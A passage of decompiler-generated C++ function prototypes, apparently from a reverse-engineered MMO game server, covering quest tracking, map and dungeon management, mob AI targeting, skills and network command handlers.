List::l_PushZ(List *this, KingdomQuest::KQElement *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, KingdomQuest::KQElement *ele); char __thiscall List::l_PopZ(List *this, KingdomQuest::KQElement *ele); void __thiscall KingdomQuest::KQPlayerInfoList::KQPlayerInfoList(KingdomQuest::KQPlayerInfoList *this); void __thiscall KingdomQuest::KingdomQuestContainer::KingdomQuestContainer(KingdomQuest::KingdomQuestContainer *this); KQContribute::PlayerContribute *__cdecl std::copy(KQContribute::PlayerContribute *_First, KQContribute::PlayerContribute *_Last, KQContribute::PlayerContribute *_Dest); KQContribute::PlayerList *__thiscall KQContribute::KQContributeList::kqcl_FindKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); int __thiscall KQContribute::KQContributeList::kqcl_GetMobKill(KQContribute::KQContributeList *this, unsigned int kqhandle, #331 *sp); KQContribute::PlayerContribute *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, KQContribute::PlayerContribute *__formal); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::_Xlen(std::vector > *this); bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerContribute *_Val); void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right); // void __usercall _L160205(int a1); void *__thiscall std::vector>::operator_(void *this, int __formal); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerContribute _Val); std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, KQContribute::PlayerList *_Val); KQContribute::PlayerList *__cdecl std::_Copy_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); KQContribute::PlayerList *__cdecl std::_Copy_backward_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerContribute *_Val); std::vector >::iterator *__cdecl std::remove>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, KQContribute::PlayerList *_Val); void __cdecl std::fill(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Val); KQContribute::PlayerList *__cdecl std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall KQContribute::KQContributeList::kqcl_SendMobKill(KQContribute::KQContributeList *this, unsigned int kqhandle, #331 *sp, int DemandMobKill, int inc); void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerList *_First, unsigned int _Count, KQContribute::PlayerList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal); void __thiscall std::vector>::_Destroy(std::vector > *this, KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last); KQContribute::PlayerList *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerList *_Ptr, unsigned int _Count, KQContribute::PlayerList *_Val); void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerList *_Val); void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count); // void __usercall _L162321(int a1); std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last); void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerList _Val); std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, KQContribute::PlayerList *_Val); void __thiscall KQContribute::KQContributeList::kqpl_EndOfKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerList *_Val); void __thiscall KQContribute::KQContributeList::KQContributeList(KQContribute::KQContributeList *this); void __thiscall KQContribute::KQContributeList::kqcl_NewKQ(KQContribute::KQContributeList *this, unsigned int kqhnd); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall KQRewardDataBox::KQRewardDataBox(KQRewardDataBox *this); void __thiscall KQRewardDataBox::kqrdb_Load(KQRewardDataBox *this, Name4 *world); KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, unsigned __int16 idx); KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, char *idx); void __thiscall SubLayer::SubLayerInteractLoader::slil_Load(SubLayer::SubLayerInteractLoader *this, Name4 *world); char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanSee(int this, int flag); char __thiscall ShineObjectClass::ShineObject::so_SubLayer_CanAttack(void *this, int a2); char __thiscall ShineObjectClass::ShineObject::so_Dispel(#331 *this, #331 *, SmashArgument *, BattleObjectGroup::BattleObjectStruct *, unsigned int); char __thiscall ShineObjectClass::ShinePlayer::so_LinkTo(void *sp, int lnkinf, __int16 machine, int cmd_sameserver, int cmd_otherserver); int __thiscall PROTO_NC_CHAR_REVIVEOTHER_CMD::operator_(int this, int a2); void __thiscall WorldManagerSession::wms_NC_MAP_LINKRESERVE_ACK(WorldManagerSession *this, NETCOMMAND *netcmd, int len); signed int __thiscall ShineObjectClass::ShinePlayer::sp_CanItemMakeItem(void *this); int __cdecl MobAttackSequence::AttackElement4Mob::ae4m_Compare(const void *a, const void *b); void __thiscall ItemUseFunction::iuf_Load(ItemUseFunction *this); void __thiscall ShineObjectClass::ShinePlayer::sp_MagicContainerMake(void *this, int iti, char *price); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ItemMakeItem(void *this, int itm); void __thiscall ItemConversionMap::icm_Store(ItemConversionMap *this, unsigned __int16 from, unsigned __int16 to); void __thiscall MagicContainer::mc_Load(MagicContainer *this); void __cdecl StackPrinting(); int __stdcall WinMain(HINSTANCE__ *hInstance, HINSTANCE__ *hPrevInstance, char *lpCmdLine, int nCmdShow); bool __cdecl OnStart_Service(); void __cdecl OnStop_Service(); // idb int __thiscall Name8::operator__(Name8 *this, Name8 *nm); void __thiscall MapBlock::MapDoorBlockElement::MapDoorBlockElement(ItemRandomOption::RandomOptionDatum *this); unsigned int __thiscall MapBlock::MapDoorBlockElement::mdbe_Load(MapBlock::MapDoorBlockElement *this, _iobuf *fp); void __thiscall MapBlock::MapDoorArray::mda_Load(MapBlock::MapDoorArray *this, char *mapname); void __thiscall MapBlock::MapBlockInformation::MapBlockInformation(MapBlock::MapBlockInformation *this); void __thiscall MapBlock::MapBlockInformation::_MapBlockInformation(MapBlock::MapBlockInformation *this); char __thiscall MapBlock::MapBlockInformation::mbi_IsAttackBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y); char __thiscall MapBlock::MapBlockInformation::mbi_IsMoveBlock(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y); int __thiscall MapBlock::MapBlockInformationBox::__unnamed::__unnamed(int this); void __thiscall MapBlock::MapBlockInformationBox::__unnamed::___unnamed(int this); void __thiscall MapBlock::MapBlockInformationBox::_MapBlockInformationBox(MapBlock::MapBlockInformationBox *this); char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, MapBlock::DoorAction da); void __thiscall MapBlock::MapDoorArray::mda_CloseAllDoor(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinfo); char __thiscall MapBlock::MapBlockInformation::mbi_OccupCellCheck(MapBlock::MapBlockInformation *this, unsigned int x, unsigned int y, int range); void __thiscall MapBlock::MapBlockInformation::mbi_Load(MapBlock::MapBlockInformation *this, Name3 *mapid, unsigned int *xsize, unsigned int *ysize); void __thiscall MapBlock::MapBlockInformationBox::MapBlockInformationBox(MapBlock::MapBlockInformationBox *this); MapBlock::MapBlockInformation *__thiscall MapBlock::MapBlockInformationBox::mbib_Load(MapBlock::MapBlockInformationBox *this, Name3 *servmapid, Name3 *clntmapid, unsigned int *xsize, unsigned int *ysize); char __thiscall MapBlock::MapDoorBlockElement::mdbe_DoorAction(MapBlock::MapDoorBlockElement *this, MapBlock::MapBlockInformation *blockinform, MapBlock::MapDoorArray *array, Name8 *doorindex, MapBlock::DoorAction da); char __thiscall MapBlock::MapDoorArray::mda_DoorAction(MapBlock::MapDoorArray *this, MapBlock::MapBlockInformation *blockinform, Name8 *doorindex, MapBlock::DoorAction da); char __thiscall MapBlock::MapBlockInformation::mbi_DoorAction(MapBlock::MapBlockInformation *this, Name8 *doorindex, MapBlock::DoorAction da); void __thiscall MapClusterManager::MapCluster::InstanceMap::InstanceMap(MapClusterManager::MapCluster::InstanceMap *this); void __thiscall MapClusterManager::MapCluster::InstanceMap::_InstanceMap(MapClusterManager::MapCluster::InstanceMap *this); void __thiscall MapClusterManager::MapCluster::_MapCluster(MapClusterManager::MapCluster *this); void __thiscall MapClusterManager::MapCluster::mc_Regist(MapClusterManager::MapCluster *this, #592 *, Name3 *); bool __thiscall MapClusterManager::MapCluster::mc_MissoionFailInstance(MapClusterManager::MapCluster *this, #592 *fld); void __thiscall List::_List(List *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MapClusterManager::ClusterManager::cm_Init(MapClusterManager::ClusterManager *this); void __thiscall MapClusterManager::MapCluster::MapCluster(MapClusterManager::MapCluster *this, char *mapindex, INSTANCE_DUNGEON::CATEGORY Category); #592 *__thiscall MapClusterManager::MapCluster::mc_FindEmpty(MapClusterManager::MapCluster *this); int __thiscall MapClusterManager::MapCluster::mc_CompName(MapClusterManager::MapCluster *this, List *lst, unsigned __int16 hnd, MapClusterManager::MapCluster *key); bool __thiscall MapClusterManager::MapCluster::mc_GetLimitTime(MapClusterManager::MapCluster *this, unsigned int *rLimitTime, unsigned int RegisterNumber); char __thiscall MapClusterManager::MapCluster::mc_SetLimitItem(MapClusterManager::MapCluster *this, unsigned int unMiunteTime, unsigned int RegisterNumber); char __thiscall ShineObjectClass::ShinePlayer::so_ply_2JobDungeon(#592 *, char *); int __thiscall ShineObjectClass::ShinePlayer::so_ply_FirstJobChange(void *this); void __thiscall TownPortalData::TownPortalData(TownPortalData *this); void __thiscall TownPortalData::tpd_Load(TownPortalData *this); TownPortal *__thiscall TownPortalData::operator__(TownPortalData *this, char index); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_TOWNPORTAL_REQ(void *this, int netcmd, int len, __int16 handle); char __thiscall List::l_PushA(List *this, MapClusterManager::MapCluster *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall MapClusterManager::MapCluster::operator_(int this, int a2); char __thiscall List::l_PushZ(List *this, MapClusterManager::MapCluster *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, MapClusterManager::MapCluster *ele); char __thiscall List::l_PopZ(List *this, MapClusterManager::MapCluster *ele); void __thiscall List::l_Clear(List *this); void __thiscall MapClusterManager::ClusterManager::_ClusterManager(MapClusterManager::ClusterManager *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); #592 *__thiscall MapClusterManager::ClusterManager::cm_FindEmpty(MapClusterManager::ClusterManager *this, char *clientmapname); #592 *__stdcall ShineObjectClass::ShinePlayer::so_ply_FindJobDungeon(char *mapname); void __thiscall MapClusterManager::ClusterManager::ClusterManager(MapClusterManager::ClusterManager *this); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MiniHouseEndureDataBox::MiniHouseEndureDataBox(MiniHouseEndureDataBox *this); void __thiscall MiniHouseEndureDataBox::mhe_Load(MiniHouseEndureDataBox *this); int __thiscall MiniHouseEndureDataBox::mhe_CalEndureGrade(MiniHouseEndureDataBox *this, unsigned __int16 nEndureType, ShineDateTime *dEndEndureDate, MHE_STEP *nEndureGrade); MiniHouseObjAniDataBox::AniData *__thiscall MiniHouseObjAniDataBox::mhoadb_GetAniData(MiniHouseObjAniDataBox *this, unsigned __int16 hnd); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MiniHouseObjAniDataBox::MiniHouseObjAniDataBox(MiniHouseObjAniDataBox *this); void __thiscall PassiveDataBox::_PassiveDataBox(AbnormalStateDictionary::SubAbState *this); void __thiscall MiniHouseObjAniDataBox::mhoadb_MakeServerAniData(MiniHouseObjAniDataBox *this); void __thiscall MiniHouseObjAniDataBox::mhoadb_Load(MiniHouseObjAniDataBox *this); SHINE_XY_TYPE *__thiscall DirectDistanceTable::ddt_GetFoward(DirectDistanceTable *this, int sr, int distance, SHINE_XY_TYPE *buffer); int __thiscall MiscDataTable::MiscData_Skill::mds_Init(int this, __int16 skillid); MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_FindAbStateAlways(MiscDataTable *this, unsigned __int16 abstateid); void __thiscall MobExplosionElement::MobExplosionEnemy::MobExplosionEnemy(MobExplosionElement::MobExplosionEnemy *this); void __thiscall MobExplosionElement::MobExplosionTarget::MobExplosionTarget(MobExplosionElement::MobExplosionTarget *this); void __thiscall MobExplosionElement::MobExplosionAlways::MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this); void __thiscall MobExplosionElement::MobExplosionAlways::_MobExplosionAlways(MobExplosionElement::MobExplosionAlways *this); void __thiscall AxialListAggroAdjust::_AxialListAggroAdjust(AxialListAggroAdjust *this); void __thiscall ShineObjectClass::ShinePlayer::sp_SkinPolymorph(int this, __int16 mobid, __int16 AbIndex); void __thiscall ShineObjectClass::ShineServant::sm_TooLongChase(ShineObjectClass::ShineServant *this); void __thiscall ShineObjectClass::ShineServant::sm_serv_VanishReserv(ShineObjectClass::ShineServant *this, int sec); void __thiscall MiscDataTable::mdt_PostSkillBlast(MiscDataTable *this, #748 *, #331 *, unsigned __int16, SHINE_XY_TYPE *); void __thiscall ShineObjectClass::ShineServant::so_serv_SetMaster(ShineObjectClass::ShineServant *this, #748 *master); void __thiscall MiscDataTable::mdt_SkillBufferAlloc(void *base, const char *flag); MiscDataTable::MiscData_AbState *__thiscall MiscDataTable::mdt_AbStateBufferAlloc(MiscDataTable *this, char *index); void __thiscall MobExplosionElement::MobExplosionBase::meb_Vanish(MobExplosionElement::MobExplosionBase *this, int mob); char __thiscall MobExplosionElement::MobExplosionBase::meb_Explosion(MobExplosionElement::MobExplosionBase *this, ShineObjectClass::ShineServant *mob, #748 *misctable); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Run(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Walk(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attack(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_Attacked(AbnormalStateContainer::AbstateElementInObject *this, List *lst, unsigned __int16 handle); char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_ItemChange(AbnormalStateContainer::AbstateElementInObject *this, CharacterInventory *inven); char __thiscall AbnormalStateContainer::ListIteratorAbstateEquip::lid_Call(AbnormalStateContainer::ListIteratorAbstateEquip *this, AbnormalStateContainer::AbstateElementInObject *ele, unsigned __int16 handle); void __thiscall ShineObjectClass::ShinePlayer::so_ply_AbstateMatchEquip(void *this); char __thiscall AxialListAggroAdjust::ali_Work(AxialListAggroAdjust *this, #331 *, #331 *, unsigned int); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_AggroAdjust(void *this, int aggrorate, int range); void __thiscall ShineObjectClass::ShineMob::so_mob_AggroAdjust(#331 *, int); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveWeapon(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveShield(void *this); void __thiscall ShineObjectClass::ShinePlayer::so_ply_ReinforceRemoveEquip(void *this, int equipslot); void __thiscall GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPSUC_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); void __thiscall GameDBSession::gds_NC_ITEMDB_REINFORCEUNEQUIPFAIL_ACK(GameDBSession *this, NETCOMMAND *netcmd, int len); signed int __thiscall ShineObjectClass::ShineMobileObject::so_smo_CrossCounterDamage(void *this, #331 *a2); void __thiscall ShineObjectClass::ShinePlayer::smo_ply_Polymorph(void *this, int a2); void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_DEPOLYMORPH_CMD(void *this, int netcmd, int len, __int16 handle); char __stdcall ShineObjectClass::ShineObject::so_mob_CanBeAttackedByPlayer(int a1); char __thiscall ShineObjectClass::ShineMob::so_mob_CanBeAttackedByPlayer(void *this, int a2); char __thiscall ShineObjectClass::ShineServant::so_mob_CanBeAttackedByPlayer(ShineObjectClass::ShineServant *this, #440 *ply); void __thiscall MiscDataTable::mdt_Polymorph(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_Neutralization(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_AbStateReset(MiscDataTable *this, OptionReader *miscdata); void __thiscall MiscDataTable::mdt_SkillBreedMob(MiscDataTable *this, OptionReader *miscdata); MobTargetSelector *__thiscall MobTargetBout::mts_AggroAdjust(MobTargetBout *this, #331 *, int); void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpTo(void *this, int locate, int sklidx); void __thiscall MiscDataTable::mdt_Load(MiscDataTable *this); void __thiscall ShineObjectClass::ShineMobileObject::smo_WarpForward(void *this, int sklidx); MobDataBox::MobDataBoxIndex *__thiscall MobDataBox::operator__(MobDataBox *this, unsigned __int16 mobid); void __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, int *attacksequenceindex); void __thiscall MobAttackSequence::SkillChange::sc_Store(MobAttackSequence::SkillChange *this, char *from, char *to, unsigned int value); void __thiscall MobAttackSequence::mas_Append(MobAttackSequence *this, unsigned __int16 mobid); char __thiscall List::l_PopA(List *this, ItemLotAnalyser::LotChanger *ele); char __thiscall List::l_PushA(List *this, ItemLotAnalyser::LotChanger *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak int __thiscall MobAttackSequence::AttackElement4Mob::ae4m_NextSkill(MobAttackSequence::AttackElement4Mob *this, #331 *, int *, char); void __thiscall MobAttackSequence::_MobAttackSequence(MobAttackSequence *this); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); void __thiscall MobAttackSequence::SkillChangeList::SkillChangeList(MobAttackSequence::SkillChangeList *this); void __thiscall MobAttackSequence::MobAttackSequence(MobAttackSequence *this); void __thiscall MobAttackSequence::mas_Load(MobAttackSequence *this); void __thiscall FieldMap::fm_FindWayInit(int this); void __thiscall MobActionElement::MobActionElement(MobActionElement *this); void __thiscall MobActionElement::_MobActionElement(MobActionElement *this); void __thiscall MobTargetStruct::MobTargetStruct(MobTargetStruct *this); void __thiscall MobTargetEraser::_MobTargetEraser(MobTargetEraser *this); void __thiscall MobTargetEraser::MobTargetEraser(MobTargetEraser *this); void __thiscall MobTargetSelector::MobTargetSelector(MobTargetSelector *this); void __thiscall MobTargetSelector::_MobTargetSelector(MobTargetSelector *this); char __thiscall MobTargetAggresive::IsIgnoreLevelGap(MobTargetAggresive *this, char Left, char Right); char __thiscall MobTargetAggresive::IsNoAttackAbstate(MobTargetAggresive *this, #331 *obj); char __thiscall MobTargetAggresive::IsNoTargetAbstate(MobTargetAggresive *this, #331 *, #331 *); char __thiscall ShineObjectClass::ShinePlayer::sp_IsPreventAttack(int this); char __thiscall MobTargetAggresiveALL::IsNoAttackAbstate(MobTargetAggresiveALL *this, #331 *obj); int __thiscall ShineObjectClass::ShineMob::so_mob_CurSelectWeapon(int this); int __thiscall ShineObjectClass::ShineObject::so_mob_SelectWeapon(#331 *this, #331 *, char); int __thiscall ShineObjectClass::ShineMob::sm_PrepareWeapon(int this, int MaxWC, int MinWC, unsigned __int16 TH, int MaxMA, int MinMA, unsigned __int16 MH); void *__thiscall MobActionElement::_vector_deleting_destructor_(MobActionElement *this, unsigned int); void *__thiscall MobTargetSelector::_scalar_deleting_destructor_(MobTargetSelector *this, unsigned int); char __thiscall MobTargetAggresive::ali_Work(MobTargetAggresive *this, #331 *, #331 *, unsigned int); char __thiscall MobTargetAggresive2::ali_Work(MobTargetAggresive2 *this, #331 *, #331 *, unsigned int); MobActionElement *__thiscall MobActionElement::mae_Action(MobActionElement *this, unsigned __int16 hnd, MobBrainStruct *mob); void __thiscall ShineObjectClass::ShineMob::sm_UseWeapon(void *this, int a2); int __thiscall MobTargetStruct::operator_(int this, int a2); void __thiscall MobTargetAggresiveALL::mts_SelectTarget(MobTargetAggresiveALL *this, #331 *mob); int __thiscall ShineObjectClass::ShineMob::sm_GetUseWeaponRate(int this, unsigned int nIndex); int __thiscall ShineObjectClass::ShineMob::so_mob_SelectWeapon(#331 *, char); int __thiscall ShineObjectClass::ShineObject::so_mob_SightCenter(int this, int sight, int buffer); SHINE_XY_TYPE *__thiscall ShineObjectClass::ShineMob::so_mob_SightCenter(int this, int sight, int buffer); void __thiscall MobTargetSelector::mts_InitRegen(MobTargetSelector *this, #331 *mob); int __thiscall ShineObjectClass::ShineMob::so_mob_TargetChange(int this); void __thiscall AxialListNearFriend::_AxialListNearFriend(AxialListNearFriend *this); void __thiscall AxialListNPCTargetFind::_AxialListNPCTargetFind(AxialListNPCTargetFind *this); char __thiscall AxialListNPCTargetFind::ali_Work(AxialListNPCTargetFind *this, #331 *, #331 *, unsigned int); MobTargetSelector *__thiscall MobTargetPlayerCaptivate::mts_Initialize(MobTargetPlayerCaptivate *this, #331 *, MobAggroManager *); void __thiscall MobTargetPlayerCaptivate::mts_SelectTarget(MobTargetPlayerCaptivate *this, #331 *mob); void __thiscall ShineObjectClass::ShineMob::so_mob_ReturnToRegen(int this); MobTargetSelector *__thiscall MobTargetSelector::mts_Initialize(MobTargetSelector *this, #331 *, MobAggroManager *); MobTargetSelector *__thiscall MobTargetBout::mts_Initialize(MobTargetBout *this, #331 *, MobAggroManager *); MobTargetSelector *__thiscall MobTargetSelector::mts_InitThink(MobTargetSelector *this); void __thiscall MobTargetSelector::mts_SelectTarget(MobTargetSelector *this, #331 *mob); void __thiscall MobTargetNoBrain::mts_SelectTarget(MobTargetNoBrain *this, #331 *mob); void __thiscall MobTarget_AggroClear::MobTarget_AggroClear(MobTarget_AggroClear *this, #331 *, int); void __thiscall MobTarget_AggroClear::_MobTarget_AggroClear(MobTarget_AggroClear *this); char __thiscall MobTarget_AggroClear::lid_Call(MobTarget_AggroClear *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall MobTargetBout::mts_DecreaseAggroPoint(MobTargetBout *this, #331 *, int); void __thiscall MobTargetSelector::mts_TargetChange(MobTargetSelector *this, MobTargetStruct *target); void __thiscall MobTarget_EnemyAnalysis::MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this, #331 *, List *); void __thiscall MobTarget_EnemyAnalysis::_MobTarget_EnemyAnalysis(MobTarget_EnemyAnalysis *this); char __thiscall MobTarget_EnemyAnalysis::mtea_free(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle); char __thiscall MobTarget_EnemyAnalysis::lid_Call(MobTarget_EnemyAnalysis *this, MobTargetStruct *ele, unsigned __int16 handle); void __thiscall MobTargetBout::mts_Routine(MobTargetBout *this); char __thiscall AxialListNearFriend::ali_Work(AxialListNearFriend *this, #331 *, #331 *, unsigned int); int __stdcall ShineObjectClass::ShineObject::so_mob_FindMyRaceTarget(int a1, int a2); int __thiscall ShineObjectClass::ShineMob::so_mob_FindMyRaceTarget(void *ecx0, int a2, int a3); int __stdcall ShineObjectClass::ShineObject::so_mob_CanMyTarget(int a1, int a2); void *__thiscall ShineObjectClass::ShineMob::so_mob_CanMyTarget(void *this, int a2, char inlist); int __stdcall ShineObjectClass::ShineObject::so_mob_CanNPCTarget(int mobindex, int weaponnum); int __thiscall ShineObjectClass::ShineMob::so_mob_CanNPCTarget(void *this, int mobindex, int weaponnum); int __stdcall ShineObjectClass::ShineObject::so_ply_CanMyTarget(int a1, int weaponnum); void *__thiscall ShineObjectClass::ShineMob::so_ply_CanMyTarget(void *this, int a2, char inlist); void *__thiscall ShineObjectClass::ShinePlayer::so_ply_CanMyTarget(void *this, int a2, char inlist); void __thiscall List::l_Clear(List *this); void __thiscall MobTargetBout::mts_InitRegen(MobTargetBout *this, #331 *mob); void __thiscall MobTargetBout::mts_SelectTarget(MobTargetBout *this, #331 *mob); void __thiscall MobTargetAggresive::mts_SelectTarget(MobTargetAggresive *this, #331 *mob); void __thiscall MobTargetBout::mts_AggroClear(MobTargetBout *this); void __thiscall MobTargetBout::mts_AppendAggroPoint(MobTargetBout *this, #331 *, int); char __thiscall MobTargetPlayerCaptivate::ali_Work(MobTargetPlayerCaptivate *this, #331 *, #331 *, unsigned int); int __thiscall MobDataBox::operator int(MobDataBox *this); unsigned int __thiscall MobChat::MobChatElementBase::mceb_MobChatInterval(MobChat::MobChatElementBase *this); void __thiscall MobChat::MobChatManager::MobChatManager(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_WanderChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_AttackChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_DamageChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_KilledChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_HelpReqChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_HelpAckChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_DetectBattleChat(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatElement::MobChatElement(MobChat::MobChatElement *this, MobChat::MobChatRecord *rec); void __thiscall MobChat::MobChatElementWander::MobChatElementWander(MobChat::MobChatElementWander *this, MobChat::MobChatRecord *rec); unsigned int __thiscall MobChat::MobChatElementWander::mceb_MobChatInterval(MobChat::MobChatElementWander *this); void __thiscall MobChat::MobChatElementWander::mceb_WanderChat(MobChat::MobChatElementWander *this); void __thiscall MobChat::MobChatElement::mceb_AttackChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_DamageChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_KilledChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_HelpReqChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_HelpAckChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatElement::mceb_DetectBattleChat(MobChat::MobChatElement *this); void __thiscall MobChat::MobChatManager::_MobChatManager(MobChat::MobChatManager *this); void __thiscall MobChat::MobChatManager::mcm_Load(MobChat::MobChatManager *this, Name4 *world); void __thiscall MobDeadCount::_MobDeadCount(MobDeadCount *this); void __thiscall MobDeadCount::mdc_Clear(MobDeadCount *this); void __thiscall MobDeadCount::mdc_Count(MobDeadCount *this, unsigned __int16 mobid); int __thiscall MobDeadCount::mdc_DeadCountGet(MobDeadCount *this, unsigned __int16 mobid); void __thiscall MobDeadCount::mdc_Init(MobDeadCount *this); int __thiscall ShineObjectClass::ShineObject::so_IsDropping(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD); // weak int __thiscall PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD::operator_(int this, int a2); void __thiscall BriefInformationCharacter::bic_InitBriefInfo(BriefInformationCharacter *this, unsigned __int16 handle, PROTO_NC_BRIEFINFO_LOGINCHARACTER_CMD *bandittemplete); void __thiscall BriefInformationEffect::bie_InitBriefInfo(BriefInformationEffect *this, unsigned __int16 handle, Name8 *idx, unsigned __int16 detach, int scale); void __thiscall EventMobRegen::EventMobRegen(EventMobRegen *this); signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int a3, int idx, int keeptime_millisec, int scale); signed int __stdcall ShineObjectClass::ShineObject::so_effect_EffectBlast(__int16 handle, int map_, int x, int y, int d, int idx, int keeptime_millisec, int scale); signed int __stdcall ShineObjectClass::ShineObject::so_mob_Regenerate(int map_, int x, int y, int dir, __int16 handle, __int16 mobid, int bandittemplete, int regnum, int a9, int a10, int lev, char blockdata); int __thiscall MobRegenClass::MobBreeder::MobBreeder(int this); int __thiscall MobRegenClass::MobBreeder::mb_RegenWaitTime(int this); void __thiscall MobRegenClass::MobRegenLoc_Circular::MobRegenLoc_Circular(MobRegenClass::MobRegenLoc_Circular *this, int x, int y, int rad); void __thiscall MobRegenClass::MobRegenLoc_Circular::mrlc_Get(MobRegenClass::MobRegenLoc_Circular *this, SHINE_XY_TYPE *loc); char __thiscall ShineObjectClass::ShineMob::sm_BriefLocateSet(int this); void __thiscall 